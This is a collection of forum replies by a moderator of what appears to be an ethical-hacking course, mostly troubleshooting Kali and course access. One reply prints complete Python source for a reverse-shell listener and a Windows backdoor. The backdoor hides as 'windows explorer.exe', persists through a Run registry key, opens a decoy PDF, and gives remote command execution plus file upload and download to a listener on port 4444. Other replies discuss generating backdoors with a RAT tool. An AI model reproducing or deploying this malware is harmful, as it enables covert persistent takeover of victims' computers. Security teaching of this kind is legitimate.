Forum Replies Created
- AuthorPosts
- Zaid SabihModerator
Sorry you’re struggling with this, please just make sure you have the latest custom Kali 2020, run the installer as shown in the course, and then lets install the following libraries manually:
1. Download the needed packages from the following links
http://ftp.us.debian.org/debian/pool/main/m/m2crypto/python-m2crypto_0.31.0-4_i386.deb
http://ftp.us.debian.org/debian/pool/main/p/python-typing/python-typing_3.6.6-1_all.deb
2. Navigate to the location where they are downloaded (probably downloads).
cd Downloads
3. Install the downloaded packages in the following order
dpkg -i python-typing_3.6.6-1_all.deb
dpkg -i python-m2crypto_0.31.0-4_i386.deb
I just tried this myself and it worked on the custom Kali 2020.
Zaid SabihModeratorYou must have deleted it somehow now if you can’t load it, do you get an error that the file does not exist now or what?
Zaid SabihModeratorAt the moment the lectures are not downloadable but we are working on this, so you should be able to download them soon.
Zaid SabihModeratorSorry for the delay, there was a missing lecture that needed to be added, please checkout lecture 2.1 now and let us know if you have any further questions.
Zaid SabihModeratorSorry for the delay, there was a missing lecture that needed to be added, please checkout lecture 2.1 now and let us know if you have any further questions.
Zaid SabihModeratorYeah that is reverse engineering, you would want to take a full course on that as its a huge topic.
Zaid SabihModeratorIt would be ok but its not gonna be fast if that’s what you’re looking for, what’s the specs of your computer? and how much memory and CPU did you assign to Kali?
Zaid SabihModeratorWhat about it? can you please explain the issue in details?
Zaid SabihModeratorOkay this is mine
Listener:
#!/usr/bin/enc python
import base64
import json
import socketclass Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print(“waiting for incoming connections “)
self.connection, address = listener.accept()
print((“got a connection from ” + str(address)))def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continuedef execute_remotely(self, command):
self.reliable_send(command)if command[0] == “exit”:
self.connection.close()
exit()return self.reliable_receive()
def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] download successful ”def read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())def run(self):
while True:
command = input(“>> “)
command = command.split(” “)
try:
if command[0] == “upload”:
file_content = self.read_file(command[1])
command.append(file_content)
result = self.execute_remotely(command)
if command[0] == “download” and “[-] Error” not in result:
result = self.write_file(command[1], result)
except Exception:
result = “[-] Error during command execution”
print(result)my_listener = Listener(“10.0.2.4”, 4444)
my_listener.run()reverse backdoor:
#!/usr/bin/enc python
import socket
import subprocess
import json
import os
import base64
import sys
import shutilclass Backdoor:
def __init__(self, ip, port):
self.become_persistent()
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))def become_persistent(self):
evil_file_location = os, environ[“appdata”] + “\\windows explorer.exe”
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call(‘reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “‘ + evil_file_location + ‘”‘,shell=True)def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continuedef execute_system_command(self, command):
DEVNULL = open(os.devnull, ‘wb’)
return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)def change_working_directory_to(self, path):
os.chdir(path)
return “[+] Changing working directory to ” + pathdef read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Upload successful ”def run(self):
while True:
command = self.reliable_receive()
try:
if command[0] == “exit”:
self.connection.close()
sys.exit()
elif command[0] == “cd” and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == “download”:
command_result = self.read_file(command[1])
elif command[0] == “upload”:
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = “[-] Error during comand execution>”
self.reliable_send(command_result)file_name = sys._MEIPASS + “\sample.pdf”
subprocess.Popen(file_name, shell=True)try:
my_backdoor = Backdoor(“10.0.2.15”, 4444)
my_backdoor.run()
except Exception:
sys.exit()Zaid SabihModeratorGreat stuff, glad you got it 🙂
Zaid SabihModeratorWhich version of Kali are you using?
And you can just upload screenshots using any file upload service like
https://imgbb.com/Zaid SabihModeratorDid you run the installer as shown in the course before using the fat rat?
If so did it run with no errors?
And are you using the custom Kali image that I made for this course?Zaid SabihModeratorHello Basmejer
I mentioned the commands were discussed in lecture 3.2, so please checkout the resources of this lecture for a list of most useful Linux commands.Zaid SabihModeratorYep that’s right, but it still works, the creators are just not supporting it anymore.
Did you run the installer first as shown in the course?
If yes did it give you any errors?
And can I see a screenshot of the error you’re getting now?Zaid SabihModeratorWhat OS are you trying to generate a backdoor for? and can you please show me a screenshot of the result?
- AuthorPosts